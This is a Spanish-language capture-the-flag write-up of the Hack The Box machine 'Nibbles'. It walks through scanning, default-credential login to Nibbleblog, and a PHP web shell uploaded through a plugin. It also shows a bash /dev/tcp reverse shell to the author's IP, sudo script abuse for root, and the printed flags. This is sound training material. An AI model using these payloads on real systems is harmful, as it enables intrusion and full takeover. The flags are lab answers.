Nibbles [EASY🟢]

Dificultad: Fácil

1- Reconocimiento y escaneo

1.1 Ping

PING 10.10.10.75 (10.10.10.75) 56(84) bytes of data.
64 bytes from 10.10.10.75: icmp_seq=1 ttl=63 time=168 ms

--- 10.10.10.75 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 168.273/168.273/168.273/0.000 ms

Podemos notar que se trata de una maquina Linux, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

# Nmap 7.95 scan initiated Wed Feb 26 01:22:39 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv -oN escaneo.txt 10.10.10.75
Nmap scan report for 10.10.10.75
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-26 01:22:40 -03 for 27s
Not shown: 65479 closed tcp ports (reset), 54 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
|   256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 26 01:23:07 2025 -- 1 IP address (1 host up) scanned in 28.05 seconds

Vemos que esta corriendo el puerto 22(OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)) correspondiente a un servidor SSH, el puerto 80(Apache httpd 2.4.18 ((Ubuntu))) correspondiente a un servidor web

Tambien el sistema operativo Linux que se encuentra corriendo en la maquina objetivo es un Ubuntu

1.3 whatweb

http://10.10.10.75 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.75]

Vemos tecnologías como:

Apache[2.4.18]
HTTPServer[Ubuntu Linux]

1.4 Revisión del código fuente

Vamos a revisar el código fuente de la pagina web alojada en el puerto 80(Apache httpd 2.4.18 ((Ubuntu))):

CTRL + U:

<b>Hello world!</b>














<!-- /nibbleblog/ directory. Nothing interesting here! -->

En concreto nos intersa la ultima linea de todas:

<!-- /nibbleblog/ directory. Nothing interesting here! -->

Ahora vamos a ir al recurso del servidor web que esta comentado donde nos dice que no hay nada interesante :)

"http://10.10.10.75/nibbleblog/"

1.5 Fuzzing

En este caso el Fuzzing lo vamos a realizar con la herramienta "dirb" con la URL del recurso que encontramos dentro del codigo fuente "http://10.10.10.75/nibbleblog/" :

dirb http://10.10.10.75/nibbleblog/

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# dirb http://10.10.10.75/nibbleblog/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Feb 27 02:42:48 2025
URL_BASE: http://10.10.10.75/nibbleblog/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.75/nibbleblog/ ----
==> DIRECTORY: http://10.10.10.75/nibbleblog/admin/                                                                                  
+ http://10.10.10.75/nibbleblog/admin.php (CODE:200|SIZE:1401)                                                                       
==> DIRECTORY: http://10.10.10.75/nibbleblog/content/                                                                                
+ http://10.10.10.75/nibbleblog/index.php (CODE:200|SIZE:2987)                                                                       
==> DIRECTORY: http://10.10.10.75/nibbleblog/languages/                                                                              
==> DIRECTORY: http://10.10.10.75/nibbleblog/plugins/                                                                                
+ http://10.10.10.75/nibbleblog/README (CODE:200|SIZE:4628)                                                                          
==> DIRECTORY: http://10.10.10.75/nibbleblog/themes/                                                                                 
                                                                                                                                     
---- Entering directory: http://10.10.10.75/nibbleblog/admin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                     
---- Entering directory: http://10.10.10.75/nibbleblog/content/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                     
---- Entering directory: http://10.10.10.75/nibbleblog/languages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                     
---- Entering directory: http://10.10.10.75/nibbleblog/plugins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                     
---- Entering directory: http://10.10.10.75/nibbleblog/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Thu Feb 27 02:56:19 2025
DOWNLOADED: 4612 - FOUND: 3

Dentro del fuzzing, podemos ver directorios intersantes de la aplicación web de Nibbleblog como "plugins", "themes" y "content", tambien se puede ver un directorio de "admin" y "admin.php"

Vamos a revisar el directorio en concreto de "admin.php":

Ya tenemos un panel de login para la administración de Nibbleblog

2- Explotación

2.1 Searchsploit de Nibbleblog

Si revisamos la pagina web, podemos ver que se trata de una tecnología web o un gestor para crear blogs de forma automatica:

"Powered by Nibbleblog", vamos a buscar con la herramienta "searchsploit" de Kali, si existe alguna vulnerabilidad

┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# searchsploit nibbleblog
---------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                      |  Path
---------------------------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 3 - Multiple SQL Injections                                                              | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)                                               | php/remote/38489.rb
---------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                      
┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# 

Tenemos 2 vulnerabilidades, una para subida de archivos arbitraria y para SQL Injections

2.2 Credenciales predeterminadas de Nibbleblog

Si vamos al panel de login de administración de Nibbleblog, luego de una investigación, me di cuenta que las credenciales por default de la tecnologia web de Nibbleblog es:

Usuario: admin
Password: nibbles

Probemos las credenciales:

Login:

2.3 Reverse shell con PHP malicioso

Si nos vamos al apartado de "plugins" dentro del panel de administración de Nibbleblog, veremos un plugin llamado "My image":

Entramos en la configuración del plugin:

Podemos subir un archivo malicioso de PHP, ya que como vimos anteriormente, esta tecnología web esta escrita sobre PHP, en mi caso, el código que utilizare para el archivo malicioso PHP, utilizare el siguiente:

<?php
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Lo creamos con Vim o nano y lo visualizamos con cat:

┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# nvim pwned.php
                                                                                                                                      
┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# cat pwned.php  
<?php
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
                                                                                                                                      
┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# 

Y vamos a subirlo:

Parece que da unos errores, pero se subio correctamente:

Ahora si vamos al directorio "content":

http://10.10.10.75/nibbleblog/content/

Vamos al directorio "private":

Ahora al directorio "plugins".

Tenemos ubicado los plugins dentro de los directorios del servidor web, como el php malicioso lo subimos dentro del plugin de "my_image" vamos a entrar dentro del mismo:

Aparentemente nos cambio el nombre del archivo php malicioso a "image.php", asi que vamos entrar al archivo "image.php" y vamos a cambiar el parámetro "?cmd=", de tal manera que la URL para ejecutar comandos, nos quedaria asi:

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoami

En nuestro caso probaremos con el comando "whoami":

Ahora vamos a obtener una reverse shell dentro de nuestro Kali mediante este archivo php malicioso que subimos, asi que vamos a abrir una nueva consola en Kali y nos vamos a poner en escucha con netcat por el puerto 443:

┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# nc -nlvp 443  
listening on [any] 443 ...

Y el comando que vamos a utilizar que vamos a utilizar como parametro dentro del archivo PHP malicioso, es el siguiente:

bash -c 'bash -i >& /dev/tcp/{IP}/443 0>&1'

Pero recordemos que como estamos en un ambiente web de hacking y este comando lo vamos a ingresar en una URL, hace falta encodearlo, en mi caso lo encodeare con Burp Suite, de tal manera que en mi caso, con mi dirección IP de la VPN de Hack The Box:

De tal manera que con mi IP de VPN de HTB quedaría de la siguiente manera:

%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%31%32%2f%34%34%33%20%30%3e%26%31%27

Y la URL completa, quedaría de la siguiente forma:

10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%31%32%2f%34%34%33%20%30%3e%26%31%27

Vamos a poner la URL dentro del navegador Firefox:

Se quedara cargando, pero si vamos a la consola de Kali, donde estábamos en escucha con netcat por el puerto 443:

┌──(root㉿t0mz)-[/home/kali/ctf/nibbles]
└─# nc -nlvp 443  
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.75] 58668
bash: cannot set terminal process group (1336): Inappropriate ioctl for device
bash: no job control in this shell
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ 

Ya tendremos acceso a un usuario llamado "nibbler" de la maquina

2.4 Obtención de la flag de usuario

La flag de usuario se encuentra dentro de la ruta absoluta "/home/nibbler/user.txt":

nibbler@Nibbles:/home/nibbler$ cat /home/nibbler/user.txt
cat /home/nibbler/user.txt
182444010c99048306abbe861216815e
nibbler@Nibbles:/home/nibbler$ 

3- Escalado de privilegios

3.1 Permisos de usuario

Para verificar los permisos que tenemos con el usuario "nibbler", utilizamos el comando "sudo -l":

nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ 

3.2 monitor.sh

Vemos que dentro del usuario "nibbler", tenemos permisos para ejecutar el script en bash "monitor.sh" como si fuésemos usuario root, vamos a ver el código que contiene este script en bash con el siguiente comando:

nibbler@Nibbles:/home/nibbler$ cat /home/nibbler/personal/stuff/monitor.sh
cat /home/nibbler/personal/stuff/monitor.sh
cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory
nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ cat /home/nibbler/personal/stuff/monitor.sh
cat /home/nibbler/personal/stuff/monitor.sh
cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory
nibbler@Nibbles:/home/nibbler$ 

Parece que el script "monitor.sh" esta comprimido, si vamos a la carpeta personal del usuario "nibbler", veremos que tenemos un archivo ".ZIP":

nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip
user.txt
nibbler@Nibbles:/home/nibbler$ 

Vamos a descomprimir el archivo "personal.zip" que esta relacionado con la ruta del script que podemos ejecutar como si fuésemos root, para eso utilizaremos el comando "unzip":

nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh  
nibbler@Nibbles:/home/nibbler$ 

Listamos los directorios:

nibbler@Nibbles:/home/nibbler$ ls
ls
personal
personal.zip
user.txt
nibbler@Nibbles:/home/nibbler$ 

Vamos a la carpeta "personal" y listamos los directorios:

nibbler@Nibbles:/home/nibbler$ cd personal
cd personal
nibbler@Nibbles:/home/nibbler/personal$ ls
ls
stuff
nibbler@Nibbles:/home/nibbler/personal$ 

Vamos al directorio "stuff" y listamos los directorios:

nibbler@Nibbles:/home/nibbler/personal$ cd stuff
cd stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls
ls
monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ 

Ya tenemos el archivo "monitor.sh", ahora vamos a ver que contiene dentro:

nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh
                  ####################################################################################################
                  #                                        Tecmint_monitor.sh                                        #
                  # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      #
                  # If any bug, report us in the link below                                                          #
                  # Free to use/edit/distribute the code below by                                                    #
                  # giving proper credit to Tecmint.com and Author                                                   #
                  #                                                                                                  #
                  ####################################################################################################
#! /bin/bash
# unset any variable which system may be using

# clear the screen
clear

unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

while getopts iv name
do
        case $name in
          i)iopt=1;;
          v)vopt=1;;
          *)echo "Invalid arg";;
        esac
done

if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed"
}
fi

if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi

if [[ $# -eq 0 ]]
then
{


# Define Variable tecreset
tecreset=$(tput sgr0)

# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"

# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os

# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset  && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"

# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture

# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease

# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME

# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip

# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip

# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers 

# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who 

# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"

# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset 
cat /tmp/diskusage

# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage

# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime

# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))
nibbler@Nibbles:/home/nibbler/personal/stuff$ 

Es un script para monitorear el sistema operativo que esta corriendo sobre la maquina objetivo

Ahora vamos a ver mas específicamente que permisos tenemos sobre este script con el comando "ls -la":

nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la
ls -la
total 12
drwxr-xr-x 2 nibbler nibbler 4096 Dec 10  2017 .
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10  2017 ..
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ 

Tenemos permisos de todo tipo para ejecutar este script, asi que vamos a cambiar el contenido de este script para elevar los privilegios, para eso vamos a reemplazar el contenido del archivo "monitor.sh", vamos a utilizar el comando "echo" y el comando que utilizaremos para reemplazar el contenido del archivo es "su -", de tal manera que el "echo" que vamos a utilizar es:

echo 'su -' > monitor.sh

Ejecutamos:

nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'su -' > monitor.sh
echo 'su -' > monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ 

Y le asignamos permisos totales al script con el comando "chmod":

nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod 777 monitor.sh
chmod 777 monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ 

Y por ultimo ejecutamos el script (Con sudo):

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
sudo ./monitor.sh
mesg: ttyname failed: Inappropriate ioctl for device
whoami
root

Nos da una shell con el usuario root, pero sin prompt, vamos a obtener un prompt con el comando "script -c bash":

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
sudo ./monitor.sh
mesg: ttyname failed: Inappropriate ioctl for device
whoami
root
script -c bash
Script started, file is typescript
root@Nibbles:~# 

3.3 Obtención de la flag root

La flag de root se encuentra dentro de la ruta absoluta "/root/root.txt", vamos a hacerle un cat:

root@Nibbles:~# cat /root/root.txt
cat /root/root.txt
bc4037b731075ca3c8ca98e964772d5e
root@Nibbles:~# 

Con esto, concluimos la maquina "Nibbles" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización